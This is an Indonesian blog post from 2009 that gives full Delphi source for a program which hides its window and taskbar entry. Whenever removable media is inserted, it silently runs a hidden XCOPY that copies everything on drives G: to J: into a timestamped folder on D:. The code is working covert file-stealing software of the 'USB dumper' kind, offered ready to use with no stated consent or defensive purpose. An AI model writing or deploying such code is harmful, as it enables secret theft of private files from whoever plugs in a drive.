Jumat, 27 Februari 2009

Delphi - Kopi Otomatis

0 komentar
unit xcflashdemo;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
Txcopy = class(TForm)
m: TMemo;
procedure CDROM_Notification(var msg: TMessage);
message WM_DEVICECHANGE;
procedure FormCreate(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;

var
xcopy: Txcopy;

implementation
{$R *.dfm}
const
CD_OUTPUT = $8004;
CD_INPUT = $8000;

procedure Txcopy.FormCreate(Sender: TObject);
begin
//hiddenkan form
ShowWindow(Application.Handle, SW_HIDE);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW );
ShowWindow(Application.Handle, SW_SHOW);
application.ShowMainForm :=false;


//buat list drive sumber xcopy (selain drive harddisc), jangan kebanyakan ntar muntah PCB processor
m.Lines.Clear;
m.Lines.Append('G:\');
m.Lines.Append('H:\');
m.Lines.Append('I:\');
m.Lines.Append('J:\');
end;

procedure Txcopy.CDROM_Notification(var msg: TMessage);
var i: byte;
begin
//deteksi input-output drive baru (sebagai drive sumber xcopy)
if msg.wParam = CD_INPUT then
begin
xcopy.Caption := formatdatetime('ddMMMMyy_hh.mm.ss',now);
//ciptakan automatis folder didalam D:\xcopy\ berdasarkan ddMMMMyy_hh.mm.ss
//D:\xcopy = drive tujuan xcopy yang dibuat manual
CreateDir('D:\xcopy\'+xcopy.caption);

//copy automatis seluruh isi drive sumber xcopy ke drive tujuan xcopy
for i:=0 to m.Lines.count-1 do
WinExec(PChar('XCOPY /S '+m.lines.Strings[i]+' D:\xcopy\'+xcopy.caption), SW_HIDE);
end
else if msg.wParam = CD_OUTPUT then
exit;
end;

0 komentar:

Posting Komentar